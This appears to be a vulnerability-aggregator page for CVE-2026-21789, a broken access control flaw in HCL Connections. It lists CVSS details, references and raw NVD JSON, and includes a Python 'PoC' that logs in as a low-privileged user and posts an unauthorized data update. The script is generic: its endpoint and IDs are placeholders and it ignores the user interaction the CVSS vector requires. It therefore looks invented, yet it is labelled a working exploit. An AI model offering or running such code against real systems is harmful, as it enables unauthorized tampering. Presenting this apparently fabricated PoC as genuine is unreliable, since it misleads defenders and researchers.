CVE-2026-21789

Description

HCL Connections contains a broken access control vulnerability that may allow unauthorized user to update data in certain scenarios.

CVSS Details

CVSS Score

4.6

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

HCL Connections (具体受影响版本请参考官方安全公告KB0129719)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Exploit Title: HCL Connections Broken Access Control PoC
# CVE: CVE-2026-21789
# Description: PoC for unauthorized data update.

target_url = "http://target-server/connections/resources/api/update"
session = requests.Session()

# Login as low-privileged user
creds = {"username": "attacker", "password": "password"}
session.post("http://target-server/login", data=creds)

# Malicious payload to update unauthorized data
headers = {"Content-Type": "application/json"}
payload = {
    "resourceId": "sensitive_doc_id",
    "content": "Updated by attacker"
}

r = session.post(target_url, json=payload, headers=headers)

if r.status_code == 200:
    print("[+] Vulnerability exploited: Data updated successfully.")
else:
    print("[-] Failed to exploit.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-21789
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-21789
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-21789/
[4] VulDB https://vuldb.com/cve/CVE-2026-21789
[5] https://support.hcl-software.com/csm?id=kb_article&sysparm_article=KB0129719

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-21789", "sourceIdentifier": "[email protected]", "published": "2026-05-18T20:16:37.607", "lastModified": "2026-05-18T20:23:31.147", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "HCL Connections contains a broken access control vulnerability that may allow unauthorized user to update data in certain scenarios."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://support.hcl-software.com/csm?id=kb_article&sysparm_article=KB0129719", "source": "[email protected]"}]}}